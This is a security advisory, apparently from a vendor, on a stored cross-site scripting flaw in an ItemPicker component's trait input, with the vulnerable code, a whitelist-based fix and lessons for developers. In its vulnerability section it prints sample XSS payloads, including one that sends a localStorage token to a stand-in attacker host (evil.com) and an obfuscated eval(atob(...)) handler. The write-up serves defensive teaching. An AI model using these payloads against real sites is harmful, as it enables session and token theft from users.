Affected Versions
| Affected | not applicable (first-party code) |
| Fixed in | not applicable (first-party code) — fix available via security patch |
| Ecosystem | N/A |
| CVE / GHSA | not assigned |
| CWE | unknown |
Introduction
A stored cross-site scripting vulnerability existed in the ItemPicker component's trait management system, specifically in how user-supplied trait values traveled from input fields through to rendered HTML. The _commitTraitInput method accepted arbitrary strings as trait identifiers, while _updateList interpolated those strings directly into HTML templates without escaping. This created a textbook DOM-based XSS chain: unsanitized input entered through one function, persisted in application state, then executed when rendered through another.
The vulnerability is particularly insidious because trait values appear to be internal identifiers—developers naturally assume they're safe—yet the code path treated them as display content suitable for direct HTML insertion.
The Vulnerability Explained
The vulnerable code path spanned two functions working in concert. First, _commitTraitInput captured user input:
_commitTraitInput(input) {
const trait = String(input?.value ?? '').trim().toLowerCase();
if (!trait) return;
this.selectedTraits.add(trait);
// ...
}
This function performed only cosmetic normalization—trimming whitespace and lowercasing—before storing the value. No validation restricted what characters could appear in a trait name.
The danger materialized in _updateList, which generated HTML for trait chips:
// Lines 567-568 in the original code
const html = `<span class="trait-chip" data-value="${chip.value}">
${chip.label}</span>`;
Both ${chip.value} and ${chip.label} interpolated directly into the HTML string. Since chip.value originated from _commitTraitInput without sanitization, an attacker could submit a trait like "><script>alert(document.cookie)</script> or test" onmouseover="fetch('https://evil.com/?c='+localStorage.token) that would execute when the chip rendered.
Attack scenario: An application using ItemPicker allows users to filter items by custom traits. A malicious user creates a trait named " autofocus onfocus="eval(atob('PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=='))" (base64-decoded: <body onload=alert(1)>). When any victim views the item list containing this trait, the autofocus attribute triggers, executing the payload and potentially exfiltrating session tokens or performing actions on the user's behalf.
The Fix
The remediation strengthens _commitTraitInput with a strict whitelist approach that eliminates the entire class of HTML injection attacks:
// Before
const trait = String(input?.value ?? '').trim().toLowerCase();
// After
const trait = String(input?.value ?? '').trim().toLowerCase().replace(/[^a-z0-9\s-]/g, '');
The critical addition is .replace(/[^a-z0-9\s-]/g, ''), which:
- Permits only: lowercase ASCII letters (
a-z), digits (0-9), whitespace (\s), and hyphens (-) - Removes everything else: angle brackets, quotes, ampersands, backticks, forward slashes, and all other characters that enable HTML injection
This whitelist strategy is deliberately conservative. Rather than attempting to escape specific dangerous characters—a fragile approach where missed cases lead to bypasses—the fix restricts trait names to an unambiguously safe character set. Trait functionality remains intact: users can still create readable, meaningful identifiers like "high-priority", "needs-review", or "version-2", but no string can carry executable content into the HTML template.
The fix's placement at the entry point (_commitTraitInput) ensures defense in depth: even if _updateList or other rendering locations remain unchanged, the data they receive has already been sanitized.
Key Takeaways
-
Template literal interpolation is not safe for user data:
${expression}in HTML template strings performs string coercion, not escaping. Every interpolated value must be proven safe through prior validation or runtime escaping. -
Whitelist validation beats blacklist escaping: Attempting to escape
<,>,",', and&risks missing edge cases (backticks in event handlers, Unicode escapes, template literal injection). Restricting to known-safe characters provides stronger assurance. -
Normalize early, sanitize at entry: The fix chains
trim().toLowerCase().replace(...)to apply all transformations where data enters the system, preventing "toLowerCase bypasses" and ensuring consistent storage. -
Internal identifiers need scrutiny too: The assumption that "users won't see this" or "it's just an ID" is dangerous. Any value that reaches the DOM, directly or indirectly, is an injection vector.
-
State persistence amplifies impact: Because traits are stored in
this.selectedTraitsand rendered repeatedly, a single malicious submission creates a persistent attack surface affecting all future views of that data.
How Orbis AppSec Detected This
Source: The input.value property of HTMLInputElement, populated from user interaction with trait input fields.
Sink: Template literal interpolation in _updateList generating HTML via innerHTML-equivalent insertion, specifically ${chip.value} and ${chip.label} expressions embedded in <span> tag construction.
Missing control: Absence of output encoding or input validation on trait values before DOM insertion; no Content Security Policy or trusted types enforcement on the rendering path.
CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation, 'Cross-site Scripting')
Fix: Added whitelist-based character filtering in _commitTraitInput to permit only alphanumeric characters, spaces, and hyphens, eliminating HTML metacharacters before storage.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability demonstrates how apparently simple data flows—input to storage to display—become XSS vectors when each stage assumes another handles security. The ItemPicker fix shows that entry-point sanitization with conservative whitelists provides robust protection without requiring changes throughout the rendering pipeline. For developers maintaining similar components, the lesson is clear: treat every user-touched value as potentially malicious until proven otherwise, and prove it through explicit, verifiable restrictions rather than implicit trust.